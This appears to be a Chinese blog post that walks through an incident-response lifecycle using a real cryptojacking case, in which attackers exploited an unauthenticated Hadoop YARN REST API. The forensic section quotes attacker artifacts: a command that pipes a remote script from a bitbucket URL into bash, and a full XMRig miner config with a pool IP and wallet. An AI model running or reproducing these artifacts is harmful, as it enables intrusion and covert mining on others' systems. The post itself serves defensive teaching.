笔者在最近的安全沙龙上，同僚们表现出对应急响应方法论的渴求。所以我想通过真实案例来讲一下应急响应周期建设，以起到抛砖引玉之效，给大佬们的工作带来参考价值。
自建的一个应急响应周期模型：
一、预备阶段
这个阶段涉及安全红蓝对抗的蓝军安全建设，应用系统/基础设施加固，进行应急响应演练。
注意：
甲方企业安全研究员应该在平时多接触威胁情报、事件分析；
严加管控事业群的服务器/云服务器，禁止随意开放端口、变更安全组策略，做好端口服务备案。
二、识别阶段
云上会有威胁情报通知到用户，非云要求我们专注识别、检测能力。不断论证事件发现、以求经验的累积。
本次案例中的识别阶段，是华为云对用户进行邮件警告开始的：
6月17日 尊敬的华为云用户XX： 华为云网络入侵检测系统发现您的资源（IP：48.xx.xx.xx；48.xx.xx.xx）疑似存在或涉及对外攻击行为，该情况会对您的业务和华为云的服务产生影响，违反了《华为云用户协议》及相关的法律法规。为了避免影响您的业务使用，请您在24小时内进行排查处理。望您知晓：华为云保留依照《华为云用户协议》及相关法律法规采取相应措施的权利。如有需要，请拨打华为云热线电话：4000 955 988。
黑客在内网进行口令爆破、strust2等远程Rec漏洞进行内网横向蔓延：
没有发现任何命令运行及日志记录，怀疑做了痕迹清理。
服务器Web应用存在任意文件上传、任意文件下载漏洞，因为是非生产系统，开发将Web应用关停。
6月20日，又被通知两台服务器疑似涉及挖矿行为：
迅速展开识别。
进程
DqSVtr进程CPU居高不下，疑似恶意进程，待确认：
进程权限：777 路径已经被删除 yarn：是大数据平台用户，CPU 697% exe：路径被删除 tmp临时目录有疑似异常文件java和w.conf(空)
1.切换用户后，使用命令发现异常pid：
ps aux|head -1;ps aux|grep -v PID|sort -rn -k 3|head发现是yarn任务在执行java c操作，于是第一反应是将该pid直接kill掉，然而发现过一会又会自动重启。于是去/var/tmp下查看文件，发现tmp下的java文件打开乱码而且不是由我放进去的。
2.因为杀死的任务不断重启，于是猜想是不是有定时任务在不断执行，于是使用crontab -l查看，未发现。切换到yarn用户再次查看，果然存在。
日志
last history等查询一无所获。
检查yarn日志(/var/log/hadoop- thread /hadoop-cmf-yarn-RESOURCEMANAGER-XXX.out)是这些过程的启动和停止日志。
时间线上分析
使用mac-robber和mactime工具。
我检查了CPU开始为95%时所有文件的访问、修改和执行情况。
nohup mac-robber / > timeline_root_20190506.mac && mactime -b timeline_root_20190506.mac> timeline_root_20190506 &grep " 489 " timeline_root_20190506 4096 mac . drwx ------ 489 487 0 / var / lib / hadoop - yarn / yarn - nm - recovery / yarn - nm - state300356 . a .. - rw - r - r - 489 487 0 / var / lib / hadoop - yarn / yarn - nm - recovery / yarn - nm - state / 014436 . sst3885 mac . - rw - r - r - 489 487 0 / var / lib / hadoop - yarn / yarn - nm - recovery / yarn - nm - state / 014438 . sst在这些目录中，yarn存储了它执行的二进制文件，所以我有一个理想的位置来搜索已经执行的文件的线索。
他在二进制上抛出了一个字符串，是yarn日志，我发现了一些线索。
strings /var/lib/hadoop-yarn/yarn-nm-recovery/yarn-nm-state/015792.sst ...* https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash & disown ...使用该命令可以在服务器上下载文件。让我们来看看他做了些什么？
curl它
这个脚本做的第一件事就是消除采矿过程中的竞争，想要为自身拥有集群。
然后检查它是否已经运行，如果已经运行，则不要继续。
然后它恢复一个IP，恶意软件将从其中下载，这可能是因为带有恶意软件的网站变化很快，而且如果系统管理员发现可疑并拒绝访问，它会恶趣味不时地更改IP。
最后，它下载两个文件，执行挖掘并更改其名称的二进制文件和配置文件。
我这人好信儿
下载w.conf文件来继续分析：
{ "algo": "cryptonight", "background": true, "colors": false, "retries": 5, "retry-pause": 5, "donate-level": 1, "syslog": false, "log-file": null, "print-time": 60, "av": 0, "safe": false, "max-cpu-usage": 95, "cpu-priority": 4, "threads": null, "pools": [ { "url": "stratum tcp://163.172.205.136:3333", "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S", "pass": "h", "keepalive": true, "nicehash": false, "variant": -1 } ], "api": { "port": 0, "access-token": null, "worker-id": null }}门罗币
xmrig文件是Monero cryptocurrency (XMR)的一个矿工，https://github.com/xmrig/xmrig/xmrigis比Bitcoin (BTC)或Ethereum以太坊等更匿名，而stratum tcp protocol是一个经典的虚拟硬币。
因此，恶意黑客程序，矿工和赚钱的回报，是使用这种货币的XMR网络。
如何进入系统的？
要紧的是它是如何潜入系统的，不然重装系统于事无补，我怎样交差？
最另我头疼的，到目前为止，在访问日志和执行命令日志中没有出现任何可疑的内容，而在yarn日志中没有显示二进制文件是如何部署的。
通过使用nmap扫描端口，我们发现许多端口都暴露在互联网上，这提供了一系列的攻击可能性。所以看到我很迷茫，我选择了四处看看。
最后我选择嗅探流量：
tcpdump -i eth0 -s 65535 -n '(not src net 192.168.1.10/16)' -w /mnt/media/20190621.dumpwireshark中打开1小时流量数据，发现8088端口CDH在curl ssh。
NICE，web访问hadoop API漏洞。
端口8088是yarn资源管理器Web使用的端口。
但是正在发出的请求是关于/cluser/apps的，访问Hadoop文档告诉我们它是一个处理应用程序的REST API。
这里的关键是如何管理注册过程,他们使用API暴露在端口8088上的yarn注册的应用程序负责执行降低malvare和执行它所有工人大数据集群的节点。
迅速联系用户，确定CDH集群是否开启了Kerberos认证。
识别结果：攻击行为，我们检测出内网中多台服务器相互进行admin root暴力破解/Strust2等远程RCE；
矿机漏洞：Hadoop REST API未授权访问。
注意：
永远要相信自己的识别能力，即使华为云的主动识别系统告警，也仅告知疑似对外攻击。当事件真实产生，才会启动后续的遏制/清除/恢复阶段。
三、遏制阶段
针对网路攻击，迅速采取具体行动。
此次为云上服务器集群，在首次被华为云邮件告警时，云运维工程师迅速进行安全组ACL策略管控，仅对特定IP开放SSH通道。
漏洞程序加固、非产生Web应用下线。
注意：将生产环境做DMZ隔离
四、清除阶段
切换到资源账户下，清除掉计划任务，所有已经发现的攻击载荷，重置资源。
注意：
CDH 大数据平台的Web风险首先消除，因为这是入口；
再来清除crontab任务，等待2分钟没有再生成新的计划任务。当时2分钟心很慌张，为自己捏把汗。。。
部分服务器以root权限运行了异常脚本、命令。这种情况通常需要重装系统。。。
五、恢复
恢复操作常赋予基础设施和应用系统进行，对于资产能够快速恢复，同时更好的协调响应。
信息安全工程师与开发团队进行资产的重新部署，此次沟通内容包括：基本的Windows/Linux/中间件/数据库的安全基线，生产Web业务系统存在的漏洞讲解，漏洞修复方案，遭到入侵对业务系统、乃至公司名誉产生的影响。
注意：云上中间件和数据库可直接使用PaaS服务，安全基线在某些情境无法实施。
六、反思（Review）
注意：写报告要包括反思的内容，在企业安全建设中，要求安全人员每一项工作都能推进一项安全建设。
反思报告将推动你们的安全建设，也是领导非常希望看到的。
发生了什么事，如果没有及时处理将会对公司有怎样的影响？此次过程中哪里做得好，安全工程师及时处理事件为公司带来哪些价值？批评与自我批评，安全不要担心受到责骂和惩罚，这会使得我们有很好的反思。
好吧，我们来用这个模型Review，是否感触良多？
七、结语
Review不要流于形式，而是要评估如何更有效地吸取经验教训，希望大佬们花时间来评估你的团队在每个阶段执行能力，从预备到反思阶段。
附：为大家手抄一份CISSP中应急计划的说明
在发生事故时，仅知道如何从备份中还原数据是不够的。我们还需要了解一些详细措施，这些措施概述了保持关键系统可用以及确保操作和处理不会中断所需的活动。应急管理定义在事故过程中和事故之后应该做的事情。为响应紧急事件、保持操作连续性以及处理重要中断而需要采取的行动必需记录在案，并让操作员工能随时获取。这份文档应至少保留3份：在现场保留原件和一份副本，并在某个受保护的、防火的异地场所保留一份副本。
应急计划只有在测试后才能被信任。组织应进行演习，确保员工充分了解他们的职责以及如何履行这些职责。如何使这些计划保持最新是另一个需要考虑的问题。由于我们所处的动态联网环境在不断变化，在必要时保障这些环境安全的计划也必须不断更新。一期预想为大家讲解，大型企业云安全防护的相关经验。
